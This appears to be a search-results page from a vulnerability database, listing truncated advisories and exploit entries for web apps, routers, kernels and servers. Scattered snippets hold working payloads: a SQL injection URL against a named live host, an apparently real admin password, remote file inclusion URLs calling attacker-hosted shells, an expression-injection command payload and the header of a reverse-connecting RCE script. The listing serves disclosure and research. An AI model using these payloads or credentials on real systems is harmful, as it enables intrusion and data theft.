56796 matches found
WhatSNS <=3.6版本前台任意文件上传getshell
...
IE11: Use-after-free in String.localeCompare
There is a Use-after-free vulnerability in Internet Explorer that could potentially be used for memory disclosure. This was tested on IE11 running on Window 7 64-bit with the latest patches applied. PoC: var vars = new Array2; function main vars0 = new Array1000000; vars1 =...
CPP-Ethereum JSON-RPC admin_addPeer Authorization Bypass Vulnerability(CVE-2017-12112)
Summary An exploitable improper authorization vulnerability exists in adminaddPeer API of cpp-ethereum's JSON-RPC commit 4e1015743b95821849d001618a7ce82c7c073768. A JSON request can cause an access to the restricted functionality resulting in authorization bypass. An attacker can send JSON to...
AVTECH DVR settings without requiring the user to log command execution vulnerability
Set the DVR there exists no user-login command execution vulnerability Search. cgi provides cgiquery function is through the wget function to achieve the HTML request, but because of the parameters did not validate and filter, can be configured through the parameters to achieve root access to...
迈普ISG1000网关sys_dia_data_check_file_name文件遍历漏洞
No description provided by source...
威速科技官网某子站SQL注入可提权服务器
简要描述： 详细说明： 第三方会议系统，V2 Conference. 见: WooYun: V2视频会议系统某处SQL注射、XXE漏洞可getshell 漏洞证明： http://zuyong.v2tech.com/Conf/jsp/systembulletin/bulletinAction.do?operator=details&sysId=-1%20union%20select%201,user%28%29,3,version%28%29,5%23 mysql root权限注入，可写shell. 查看远程桌面端口：39556 创建了wooyun用户，连接远程桌面： img...
Hishop易分销系统 /wapshop/productlist.aspx 文件 sort 参数SQL注入漏洞
No description provided by source...
金蝶某系统管理后台密码泄露可getshell
简要描述： 不知道是否处在内网，看起来像是测试程序，求大牛带内网漫游 详细说明： http://k3shop.k3cloud.kingdee.com/ ip 202.104.120.51 http://k3shop.k3cloud.kingdee.com/admin/打开后台地址吓到我了，竟然直接跳转登陆。抓了下密码 admin kingdee&admin 怀疑多套系统使用此密码 上传文件地址 http://k3shop.k3cloud.kingdee.com/admin/Marketing/upload.aspx?tempFolder=aspx tempFolder该参数可控...
Web Wiz Forum Injection Vulnerability
No description provided by source. Title : Web Wiz Forum Injection Vulnerability Author: eXeSoul Home : www.indishell.in or www.andhrahackers.com Email : [email protected] date : 23/3/2011 D0rk : i Powered by Web Wiz Forums category : Web Apps SQli Go To Site :- SQL injection Vulnerability...
Linux Kernel < 2.6.36-rc6 pktcdvd Kernel Memory Disclosure
No description provided by source. / cve-2010-3437.c Linux Kernel 2.6.36-rc6 pktcdvd Kernel Memory Disclosure Jon Oberheide [email protected] http://jon.oberheide.org Information: https://bugzilla.redhat.com/showbug.cgi?id=638085 The PKTCTRLCMDSTATUS device ioctl retrieves a pointer to a...
cubecart 2.0.7 - Multiple Vulnerabilities
No description provided by source. Exploit Title: CubeCart 2.0.7 XSS && Remote SQL Injection = Multiple Vulnerabilities Date: June, 14th 2011 GMT +7 Author: Shamus Software Link: http://www.cubecart.com/ Version : CubeCart 2.0.7 Tested on: windows 7, ubuntu 11.04 CVE : -...
Microsoft Windows OLE Object File Handling Remote Code Execution
No description provided by source. This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit web site for more information on licensing and terms of use. http://metasploit.com/ require 'msf/core' class Metasploit3...
Apache Syncope特制Commons JEXL表达式远程代码执行漏洞
CVE ID:CVE-2014-0111 Apache Syncope是用在企业环境的数字身份管理,在JEE技术的实施和Apache 2.0许可下发布的开源系统。 Apache Syncope处理特制的Apache Commons JEXL表达式存在安全漏洞，允许通过验证的远程攻击者通过运行Apache Syncope core的JEE container来执行任意代码。 0 Apache Syncope 1.0.0 Apache Syncope 1.0.8 Apache Syncope 1.1.0 Apache Syncope 1.1.6 Apache Syncope 1.0.9,...
eYou /php/report/lastlogin_list_export.php SQL注入漏洞
eYou是国内一款流行的邮件管理系统软件，其存/php/report/lastloginlistexport.php文件中代码第52行，判断$GET'time'和$GET'stime'变量是否为空，执行代码第53-54行，删除由addslashes函数添加的反斜杠，并赋值给$time和$stime变量。执行代码第66行，将$time和$stime变量拼接SQL语句，代码第68行，将拼接的SQL语句带入数据库执行。此过程中，并未将$time和$stime变量进行有效过滤，导致SQL注入漏洞产生。 eYou...
PHPCMS 9.2.7 /phpcms/libs/classes/mysql.class.php SQL注入
No description provided by source...
DirectAdmin硬链接本地特权提升漏洞
Bugtraq ID: 47690 DirectAdmin是一款功能强大的虚拟主机在线管理系统。 当创建备份时不正确检查部分硬链接，本地攻击者可以通过硬链接攻击操作部分文件，提升特权。 JBMC Software DirectAdmin 1.33.6 JBMC Software DirectAdmin 1.33.4 JBMC Software DirectAdmin 1.33.3 JBMC Software DirectAdmin 1.30.2 JBMC Software DirectAdmin 1.30.1 JBMC Software DirectAdmin 1.381 JBMC...
Linux Kernel ip6_dst_lookup_tail()函数远程拒绝服务漏洞
CVECAN ID: CVE-2010-0437 Linux Kernel是开放源码操作系统Linux所使用的内核。 Linux Kernel的ip6dstlookuptail函数中存在空指针引用漏洞。本地网络上的攻击者可以通过向目标系统发送IPv6通讯来触发这个漏洞，如果接收到IPv6报文时目标系统上dst-neighbour为空，就会导致系统崩溃 Linux kernel 2.6.x 厂商补丁： Linux ----- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...
Exchange Server EMSMDB2 MAPI命令远程拒绝服务漏洞（MS09-003）
BUGTRAQ ID: 33136 CVECAN ID: CVE-2009-0099 Microsoft Exchange Server是一款企业级的邮件服务程序。 Exchange Server的EMSMDB2提供程序没有正确地处理MAPI命令，远程攻击者可通过向使用EMSMDB32提供程序的应用发送特制的MAPI命令来利用此漏洞，导致应用程序停止响应。 这个漏洞也影响Microsoft Exchange System Attendant，因为它也使用EMSMDB32提供程序。Microsoft Exchange System Attendant是Microsoft...
Apache Tomcat UTF-8目录遍历漏洞
BUGTRAQ ID:30633 CVE ID：CVE-2008-2938 CNCVE ID：CNCVE-20082938 Apache Tomcat是一款流行的开放源码的JSP应用服务器程序。。 Apache Tomcat不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB服务程序上下文查看任意本地文件。 此漏洞发生是由于JAVA处理输入存在问题，如果context.xml或server.xml允许'allowLinking'和'URIencoding'为'UTF-8'，攻击者可以以WEB权限获得重要的系统文件内容。 Apache Software Foundation Tomca...
Ruby WEBrick远程目录遍历漏洞
CVECAN ID: CVE-2008-1891 Ruby是一种功能强大的面向对象的脚本语言。 WEBrick是Ruby中内嵌的HTTP服务器程序库。WEBrick组件存在目录遍历漏洞，如果服务器使用的是NTFS或FAT文件系统的话，远程攻击者就可以通过在向使用WEBrick::HTTPServlet::FileHandler或WEBrick::HTTPServer.new的应用所提交的URI请求结尾附加“+”、“%2b”、“.”、“%2e”或“%20”字符执行目录遍历攻击，导致读取任意CGI文件。 Yukihiro Matsumoto Ruby 1.9.x Yukihiro...
WebCalendar 1.0.4 (includedir) Remote File Inclusion Vulnerability
No description provided by source. Cr@zyKing :\ BiyoSecurity Team WebCalendar v1.0.4 Remote Fle Include Demo - Down : http://webcalendar.sourceforge.net/ http://localhost/patch/tools/sendreminders.php?noSet=0&includedir=http://sheLLz? Google Dork : "WebCalendar v1.0.4" www.biyosecurity.com Greatz...
DM CMS Index.PHP SQL注入漏洞
DM CMS是一款基于PHP的WEB应用程序。 DM CMS不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞进行SQL攻击，获得敏感信息或操作数据库。 问题是由于'index.php'脚本对用户提交的'id'参数缺少过滤，提交恶意SQL查询作为参数数据，可更改原来的SQL逻辑，攻击者可以获得敏感信息或操作数据库。 DMCMS 0.7 目前没有详细解决方案提供： http://sourceforge.net/projects/dmcms/ http://www.example.com/index.php?page=media&id=SQL INJECTION CODE GOES HE...
PHPDJ 0.5 (djpage.php page) Remote File Inclusion Vulnerability
No description provided by source. PHPDJ v05 page Remote File Inclusion Vulnerability D.S: http://sourceforge.net/projects/phpdj/ D0RK : allintext:"PHPDJ was created by www.php-mania.co.uk" POC : /PHPDJv05/dj/djpage.php?page=evil-script.txt? Thanx To : Tryag.Com/cc & Asb-May.net/bb...
PHP 4.4.5 / 4.4.6 session_decode() Double Free Exploit PoC
No description provided by source. ?php //////////////////////////////////////////////////////////////////////// // // // | || | | | | | | | || || // // | |/ || '|/ |/ -| ' / -/ |||| /| || / //...
PHP <= 5.2.0 ext/filter FDF Post Filter Bypass Exploit
No description provided by source. ?php //////////////////////////////////////////////////////////////////////// // // // | || | | | | | | | || || // // | |/ || '|/ |/ -| ' / -/ |||| /| || / //...
Knusperleicht Quickie Quick_Path远程文件包含漏洞
Knusperleicht Quickie是一款基于PHP的WEB应用程序。 Knusperleicht Quickie不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是'quickie.php'脚本对用户提交的"QUICKPATH"参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 Knusperleicht Quickie http://knusperleicht.at/index.php?knuspi=Quickie...
SuSE Linux <= 9.3 10 (chfn) Local Root Privilege Escalation Exploit
No description provided by source. !/bin/sh Exploit for SuSE Linux 9.1,2,3/10.0, Desktop 1.0, UnitedLinux 1.0 and SuSE Linux Enterprise Server 8,9 'chfn' local root bug. by Hunger [email protected] Advistory: http://lists.suse.com/archive/suse-security-announce/2005-Nov/0002.html hunger@suse: id...
Remote code execution via multiple attack vectors in WAGO e!DISPLAY 7300T
VENDOR DESCRIPTION “New ideas are the driving force behind our success WAGO is a family-owned company headquartered in Minden, Germany. Independently operating for three generations, WAGO is the global leader of spring pressure electrical interconnect and automation solutions. For more than 60...
Insteon Hub PubNub "cc" Channel Message Handler Multiple Global Overflow Code Execution Vulnerabilities(CVE-2017-16338 ~CVE-2017-16347)
Summary Multiple exploitable buffer overflow vulnerabilities exist in the PubNub message handler for the "cc" channel of Insteon Hub running firmware version 1012. Specially crafted commands sent through the PubNub service can cause a buffer overflow on a global section overwriting arbitrary data...
AVTECH {DVR/NVR/IPC} Authenticated RCE
!/usr/bin/env python2.7 SOF Subject: AVTECH DVR/NVR/IPC Authenticated RCE 2018 bashis Attack vector: Remote Authentication: Authenticated Credentials needed Researcher: bashis March 2018 http://www.avtech.com.tw/ """ $./AVTECH-RCE.py --rhost 192.168.57.20 --rport 80 --lhost 192.168.57.1 --lport...
Windows KEPT remote code execution vulnerability analysis(CVE-2017-11779)
根据 Microsoft 安全通告，多个版本 Windows 中的 DNSAPI.dll 在处理 DNS response 时可导致 SYSTEM 权限 RCE。 以 DNS Client API DLL 10.0.15063.0 与 10.0.15063.674 为例，补丁对比， 可知漏洞存在于 DNSAPI.dll 中的 Nsec3RecordRead 函数，那么可以确定问题就是出在解析 DNS response 的 NSEC3 Resource record，为了构造 PoC，先得了解这个 "NSEC3" 的背景。首先，DNS 协议数据结构如下图所示， 例如，当访问...
Tablib Yaml Load Code Execution Vulnerability(CVE-2017-2810)
Summary An exploitable vulnerability exists in the Databook loading functionality of Tablib. A yaml loaded Databook can execute arbitrary python commands resulting in command execution. An attacker can insert python into loaded yaml to trigger this vulnerability. Tested Versions Tablib v0.11.4...
Foscam C1 Webcam FTP Hard Coded Password Vulnerability(CVE-2016-8731)
Summary Hard-coded FTP credentials r:r are included in the Foscam C1 running firmware 1.9.1.12. Knowledge of these credentials would allow remote access to any cameras found on the internet that do not have port 50021 blocked by an intermediate device. Tested Versions Foscam C1 Firmware Version...
ProcessMaker Enterprise Core Code Execution Vulnerability(CVE-2016-9045)
Summary A code execution vulnerability exists in ProcessMarker Enterprise Core 3.0.1.7-community. A specially crafted web request can cause unsafe deserialization potentially resulting in PHP code being executed. An attacker can send a crafted web parameter to trigger this vulnerability. Tested...
SSD Advisory – Ubuntu LightDM Guest Account Local Privilege Escalation（CVE-2017-7358）
Vulnerability Summary The following advisory describes a local privilege escalation via LightDM found in Ubuntu versions 16.10 / 16.04 LTS. Ubuntu is an open source software platform that runs everywhere from IoT devices, the smartphone, the tablet and the PC to the server and the cloud. LightDM ...
OnePlus 3/3T: Bootloader disable dm-verity Vulnerability (CVE-2017-5624)
CVE-2017-5624, affecting all versions of OxygenOS to date, allows the attacker to disable dm-verity. The combination of the vulnerabilities enables a powerful attack – persistent highly privileged code execution without any warning to the user and with access to the original user’s data after the...
神器而已之EMobile某版本表达式注入（命令执行）
简要描述： 神器扫出来的 详细说明： 版本：E-Mobile 4.5 查看源码即可看到 .../verifyLogin.do data：loginid=CasterJs&password=CasterJs&clienttype=Webclient&clientver=4.5&language=&country=&[email protected]@[email protected]@getRuntime.exec'ipconfig'.getInputStream 其他案例 http://.../verifyLogin.do data:...
网康 NS-ASG 应用安全网关命令执行漏洞
No description provided by source...
Kerio Control 8.3.1 - SQL盲注漏洞
No description provided by source...
phpCOIN 1.2.2 includes/db.php $_CCFG[_PKG_PATH_DBSE] Parameter Traversal Arbitrary File Access
No description provided by source. source: http://www.securityfocus.com/bid/15831/info PhpCOIN is prone to a file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit this issue to include arbitrary remote PHP...
PhotoPost <= 4.6 (PP_PATH) Remote File Include Vulnerability
No description provided by source. ==================================================================== PhotoPost = 4.6 PPPATH Remote File Inclusion Exploit ==================================================================== Critical Level : Dangerous By Saudi Hackrz http://www.popphoto.com/...
Cesar FTP 0.99g MKD Command Buffer Overflow
No description provided by source. $Id: cesarftpmkd.rb 11799 2011-02-23 00:58:54Z mc $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use...
Member ID The Fish Index PHP SQL Injection Vulnerability
No description provided by source. , | ,---. , . |---. ,---. ,---. ,---. ,---. ,---. , . , | --- | | | | | |---' | | | |---' | | | | ---' ---| ---' ---' ---' ---' ------ ---' V Member ID The Fish Index PHP SQL Injection Vulnerability --== Author ==-- + Author : v4lc0m87 + Contact :...
DA Mailing List System 2 - Multiple Vulnerabilities
No description provided by source. DA Mailing List System V2 Remote Admin Login Exploit Author : Phenom Dork: DA Mailing List System V2 Powered by DigitalArakan.Net Version : 2 Exploit : 1- http://server/path/admincp.asp 2- login with admin as user name and 'or' as pas...
PHP-Nuke-8.1-seo-Arabic Remote File Include
No description provided by source...
MidiCart ASP Item_Show.ASP ID2006quant Parameter SQL Injection Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/21273/info MidiCart ASP is prone to an SQL injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query. A successful exploit could allow an attacker to compromise the...
DMXReady Faqs Manager <= 1.1 - Remote Contents Change Vulnerability
No description provided by source. Title : DMXReady Faqs Manager = 1.1 Remote Contents Change Vulnerability Author : ajann from Turkey Contact : : S.Page : http://www.dmxready.com $$ : 24.97 $ Dork : inurl:incfaqsmanager.asp DorkEx :...
LetterIt 2.0 - (inc/session.php) Remote File Include Vulnerability
漏洞软件：LetterIt 2.0 软件下载：http://sourceforge.net/projects/letterit.berlios/ 漏洞类型：RFI 远程文件包含漏洞 软件介绍： LetterIt 2.0 是一个基于WEB页面的邮件列表管理器，安装简单并且支持多国语言。它可以通过PHP Mail，sendmail，qmail，SMTP 或者pickup mode（Windows下）等多种方式发送HTML 或者 Text文本消息以及附件到指定邮件列表。 漏洞分析： 这个远程文件包含漏洞出现在LetterIt 2.0的 “inc/session.php” 文件中。 漏洞代码：...
TikiWiki tiki-graph_formula Remote PHP Code Execution
No description provided by source. $Id: tikiwikigraphformulaexec.rb 10394 2010-09-20 08:06:27Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and...